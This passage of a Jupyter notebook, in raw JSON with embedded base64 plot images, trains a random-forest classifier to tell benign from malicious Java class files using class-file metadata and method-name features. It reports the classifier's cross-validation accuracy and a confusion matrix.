JiG9ExO8i4k8R8b2IOCYiNuuzj1ZErJ3htecg\n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\nkiRJkjQi/x+ZfJFpVZbMdgAAAABJRU5ErkJggg==\n", + "text": [ + "" + ] + } + ], + "prompt_number": 153 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### We train the classifier using these new features." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "import sklearn.ensemble\n", + "clf_methods = sklearn.ensemble.RandomForestClassifier(n_estimators=50)\n", + "method_name_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n", + " 'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count',\n", + " 'entropy', 'size', 'interface_count', 'major version', 'methods_count',\n", + " 'minor version',\n", + " 'method_name_digit_run_avg', 'method_name_digit_run_longest',\n", + " 'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest',\n", + " 'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest']\n", + "\n", + "X = df.as_matrix(method_name_features)\n", + "y = np.array(df['label'].tolist())\n", + "\n", + "scores = sklearn.cross_validation.cross_val_score(clf_methods, X, y, cv=10)\n", + "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Accuracy: 0.950 (+/- 0.037)\n" + ] + } + ], + "prompt_number": 154 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### We do see improvement in the classifier, so that is encouraging. But definitely still work to be done." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "import sklearn.ensemble\n", + "from sklearn.metrics import confusion_matrix\n", + "from sklearn.cross_validation import train_test_split\n", + "\n", + "# 80/20 Split for predictive test\n", + "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n", + "clf_methods.fit(X_train, y_train)\n", + "y_pred = clf_methods.predict(X_test)\n", + "labels = ['benign', 'malicious']\n", + "cm = confusion_matrix(y_test, y_pred, labels)\n", + "plot_cm(cm, labels)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Confusion Matrix Stats\n", + "benign/benign: 94.90% (93/98)\n", + "benign/malicious: 5.10% (5/98)\n", + "malicious/benign: 10.38% (11/106)\n", + "malicious/malicious: 89.62% (95/106)\n" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "iVBORw0KGgoAAAANSUhEUgAAAfEAAAFSCAYAAADiuuY9AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3XmYHVWd//H3JwiEsAoIBhhkM0TUgEBkiUIgyoDMIDoz\nigOyJm64jTozhHFBhl2HMCjLSAQEhAFEAvwYCBIIkS1hEQJICAkEnKBsgclGwtLf3x/n3HBzqV5u\nd3W6b/Xn9Tz1VPepU1WnOp3+3rPUOYoIzMzMrPUM6usCmJmZWfc4iJuZmbUoB3EzM7MW5SBuZmbW\nohzEzczMWpSDuJmZWYtyELc+IelISW2S9urDMozOZTiir8pgvU/SxZLaGtJOyP/2W3bjet0+16xs\nDuI20EXerNoa/4178u/u3xnrNxzEbSC7A1gLuKyvC2K9Tg3fnwSsFRHPduNaPTnXrFTv6usCmPWV\nSNMVvt7X5bBVLyLeAt5a1eealc01cetrq+c+xmckLZP0sKTPN2aStKukayW9mPPNknS8pNUa8k2V\n9LSkoZKukLRA0hJJN0t6f0Pewj5xSRtJulDSy5IWSZoiaafatRvyzpN0u6Thkm6UtFDSq5KulrRp\nmT+oqqgbD7GvpO/nn+FSSdMljcp5Rku6U9JiSc9J+n7DNfaTdKWkp/K5r0ia3NUxFu31a0taT9LJ\nkh6X9JqklyT9vv53soNzt5J0qaTn8+/onHyttRryvaOPvu5Ym6SLGtIOlzQjP+NiSXMlXSZp4648\nq1Wba+LW104HhgA/JzV5HgVcIWlwRPwKQNKBwG+B2cBPgQXAnsCJwE7A5+quF8DawDTgHmA8sA3w\nLeA6SR+KiMY/oCv6NyWtCdwK7AhcBMzIX9+a71vUt7o5cHsu43W5TF8G1gP+uhs/k4HiNFJF4ixg\nTeC7wM2SjgHOA84HLgU+D5wo6emI+HU+9whgA+Bi4H+BLYCxwBRJ+0TEnc0WRtIGwJ3ADsDVwDnA\nasDOwIHAlR2c+z7S78q6wLnAk8A+pN+/UZLG5Bp8TUd96vW/j18kPeM04AfAa8CWwAHAe4CXmnlG\nq6CI8OZtlW/AkUAb8DSwbl36esA84GXSH/bBwF+AqcCghmt8O19j77q0qTntew15v5fT96tLG53T\nDq9L+1pOG99w/ldz+lMN6fNy+t83pP88pw/r6591f9vq/u3vB95Vl/63Of0NYOe69NWB54C769KG\nFFx3E+BF4MaG9IuBtoa0E/K9tqxLOzenjS24tjo599c5bf+G887I6Ud3VJ66Y23AhXXf/xZ4tfF3\n35u32ubmdOtr50XEoto3EbGQVAN7N6km80nSH+eLgQ0lbVzbgJvyafs1XPMt4OyGtNvzfrtOyvO3\nwJvAfzakTwQWtnPO/Ij4TTfvN5CdFxFv1n1fqz3fExEP1hIj4g3gPuD9dWlLa19LWkfSRqQAOAPY\nrdmCSBoEHAL8MSImNh6PiHZrzvncg4AHI+LmhsOn5nJ9ptkyZa+SWpb+RlLj4DwzN6dbn3u8g7Rt\ngHXy1xe2c36Qgny95yKiccDay3m